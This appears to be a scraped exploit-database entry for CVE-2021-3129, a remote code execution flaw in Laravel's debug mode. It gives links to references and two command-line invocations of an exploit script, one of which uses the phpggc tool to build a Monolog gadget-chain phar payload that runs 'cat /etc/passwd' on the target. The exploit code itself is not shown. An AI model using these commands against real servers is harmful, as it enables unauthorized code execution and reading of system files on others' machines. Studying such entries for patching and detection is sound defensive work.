Share
## https://sploitus.com/exploit?id=0EF9F6DB-42EC-5183-B85C-571CD1B0D72B
# CVE-2021-3129
Laravel debug mode - Remote Code Execution (RCE)

- https://vulners.com/cve/CVE-2021-3129
- https://www.ambionics.io/blog/laravel-debug-rce
- https://github.com/ambionics/phpggc

# Example
```bash
python3 exploit.py http://127.0.0.1:8080
```
```bash
python3 exploit.py http://127.0.0.1:8080 --phar $(php -d phar.readonly=off -d phar.require_hash=off ./phpggc --phar phar -f monolog/rce1 system 'cat /etc/passwd' | base64 -w 0)
```